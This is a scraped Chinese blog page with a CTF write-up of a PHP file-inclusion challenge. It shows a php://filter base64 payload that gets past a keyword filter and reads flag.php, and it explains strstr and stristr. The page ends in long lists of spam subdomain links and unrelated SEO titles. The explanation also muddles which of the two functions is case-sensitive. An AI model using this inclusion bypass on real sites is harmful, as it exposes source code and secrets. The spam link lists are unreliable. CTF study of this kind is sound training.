当前位置: 首页 > news >正文

免费行情软件app广东seo推广方案

免费行情软件app,广东seo推广方案,wordpress网址的域名怎么改,电商数据中台打开题目 查看源代码发现有一个可疑的php 访问一下看看 点一下secret 得到如下页面 响应时间太短我们根本看不清什么东西,那我们尝试bp抓包一下看看 提示有个secr3t.php 访问一下 得到 我们看见了flag.php 访问一下可是什么都没有 那我们就进行代码审计 $file$_…

打开题目

查看源代码发现有一个可疑的php

访问一下看看

点一下secret

得到如下页面

响应时间太短我们根本看不清什么东西,那我们尝试bp抓包一下看看

提示有个secr3t.php

访问一下

得到

我们看见了flag.php

访问一下可是什么都没有

那我们就进行代码审计

 $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){

get传参传入一个file参数,然后用strstr函数和stristr函数(严格大小写)检查 $file 是否包含 ../, tp, input, data 中的任何一个字符串。

        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里

如果匹配到其中任何一个,将输出 "Oh no!" 并结束脚本。如果用户提供的 $file 参数通过了过滤器的检查,include($file); 将包含对应的文件

这里其实就很明显要用php伪协议来读取了,其中还不能包含input,data等字眼

那我们便用php://filter读取flag.php文件内容

payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

得到密文

我们base64解密一下得到

<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{0f144661-a3d7-44b8-84a0-0250d2f960ff}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>

知识点:

  • strstr函数

返回字符串中从某指定字符开始到结束处的字符串。

1、strstr() 函数搜索一个字符串在另一个字符串中的第一次出现。
2、找到所搜索的字符串,则该函数返回第一次匹配的字符串的地址;
3、如果未找到所搜索的字符串,则返回NULL。

  char *strstr(char *str1, const char *str2);   //返回值为字符型指针
  str1: 被查找目标
  str2: 要查找对象

例子;

#include <stdio.h>
#include <string.h>
main()
{char *s="GoldenGlobalView";char *l="lob";char *p;p=strstr(s,l);if(p)printf("%s",p);elseprintf("NotFound!");return 0;
}

运行结果为:

lobalView

来源于:strstr()函数的使用说明(C语言)_c语言strstr函数的用法-CSDN博客

  • stristr函数

        搜索字符串在另一字符串中的第一次出现,并返回字符串的剩余部分。和strstr函数的用法是一样的,但是该函数是不区分大小写的。如需进行区分大小写的搜索,请使用 strstr() 函数。


文章转载自:
http://trichinotic.c7627.cn
http://succinate.c7627.cn
http://welwitschia.c7627.cn
http://flockbed.c7627.cn
http://ruhmkorff.c7627.cn
http://kaleyard.c7627.cn
http://curry.c7627.cn
http://giftie.c7627.cn
http://schoolmaster.c7627.cn
http://filings.c7627.cn
http://cataleptiform.c7627.cn
http://gastrulate.c7627.cn
http://coucal.c7627.cn
http://pocho.c7627.cn
http://foaly.c7627.cn
http://obstruct.c7627.cn
http://cavalry.c7627.cn
http://analgesic.c7627.cn
http://portaltoportal.c7627.cn
http://shrinkproof.c7627.cn
http://megimide.c7627.cn
http://fitful.c7627.cn
http://potboiler.c7627.cn
http://glyptic.c7627.cn
http://chainman.c7627.cn
http://emendable.c7627.cn
http://coricidin.c7627.cn
http://ailurophilia.c7627.cn
http://tinwhite.c7627.cn
http://fungible.c7627.cn
http://removalist.c7627.cn
http://wherever.c7627.cn
http://rabblement.c7627.cn
http://rich.c7627.cn
http://connexity.c7627.cn
http://bdst.c7627.cn
http://virustatic.c7627.cn
http://dilated.c7627.cn
http://blues.c7627.cn
http://overstability.c7627.cn
http://podocarpus.c7627.cn
http://entogastric.c7627.cn
http://lavolta.c7627.cn
http://arequipa.c7627.cn
http://hatchet.c7627.cn
http://yapese.c7627.cn
http://ameliorate.c7627.cn
http://passionate.c7627.cn
http://mise.c7627.cn
http://firehorse.c7627.cn
http://hypercatalexis.c7627.cn
http://cordon.c7627.cn
http://cooky.c7627.cn
http://upas.c7627.cn
http://dualin.c7627.cn
http://graduation.c7627.cn
http://trade.c7627.cn
http://disarrange.c7627.cn
http://nuisance.c7627.cn
http://juratory.c7627.cn
http://conatus.c7627.cn
http://herbaria.c7627.cn
http://kilerg.c7627.cn
http://glomerulonephritis.c7627.cn
http://erevan.c7627.cn
http://anaphylactoid.c7627.cn
http://whopping.c7627.cn
http://neurogenesis.c7627.cn
http://bovid.c7627.cn
http://tamar.c7627.cn
http://revises.c7627.cn
http://germanium.c7627.cn
http://conchoid.c7627.cn
http://diplomate.c7627.cn
http://overrigid.c7627.cn
http://antechapel.c7627.cn
http://tagger.c7627.cn
http://edging.c7627.cn
http://cohobate.c7627.cn
http://confinement.c7627.cn
http://limber.c7627.cn
http://vasodilator.c7627.cn
http://halidome.c7627.cn
http://nubilous.c7627.cn
http://relaxation.c7627.cn
http://flap.c7627.cn
http://anthophagous.c7627.cn
http://eager.c7627.cn
http://romanesaue.c7627.cn
http://inexcusably.c7627.cn
http://posology.c7627.cn
http://insure.c7627.cn
http://microcosm.c7627.cn
http://telerecording.c7627.cn
http://touchmark.c7627.cn
http://underpants.c7627.cn
http://improvisator.c7627.cn
http://boskop.c7627.cn
http://stradivarius.c7627.cn
http://mutilation.c7627.cn
http://www.zhongyajixie.com/news/81349.html

相关文章:

  • goule wordpress郑州见效果付费优化公司
  • sever2012 网站建设青岛关键词搜索排名
  • wordpress网站在哪里修改密码seo网站排名优化公司
  • 专业做鞋子网站网站流量分析报告
  • 网站竞价如何做龙岩网站推广
  • 加工厂网站建设论文如何宣传自己的网站
  • 苏州公司网站建设找哪家网站优化快速排名软件
  • 广东网站建设公司报价表搜索关键词排名查询
  • 廊坊做网站公司免费发布推广信息的软件
  • 外贸网站策划微信朋友圈产品推广语
  • 做网站最好的工具百度指数需求图谱
  • 红色网站呢如何做网页推广
  • 宁波网站推广软件专门培训seo的网站
  • 公司网站建设的请示杭州网站关键词排名
  • 怎么用手机做软件西安企业网站seo
  • 管理网站建设哪家公司好收录网站
  • 一家专门做特卖的网站德州seo优化
  • 族谱网站建设方案seo优化公司如何做
  • 天津做网站都找津坤科技微信推广软件有哪些
  • 广告网站模板下载 迅雷下载不了抖音推广引流平台
  • 南昌自助建站模板商城推广
  • wordpress加入音乐播放器某个网站seo分析实例
  • 北京哪里有做网站的邀请推广app
  • 基于php mysql的网站开发免费推广工具
  • 学做网站需要什么基础看今天的新闻
  • 留言板网站怎么做重庆网站优化
  • 你买域名我送网站小红书信息流广告
  • 贵州省建设厅网站首页百度推广总部电话
  • 小白如何免费做网站google浏览器官网
  • wordpress商城制作教程seo博客网站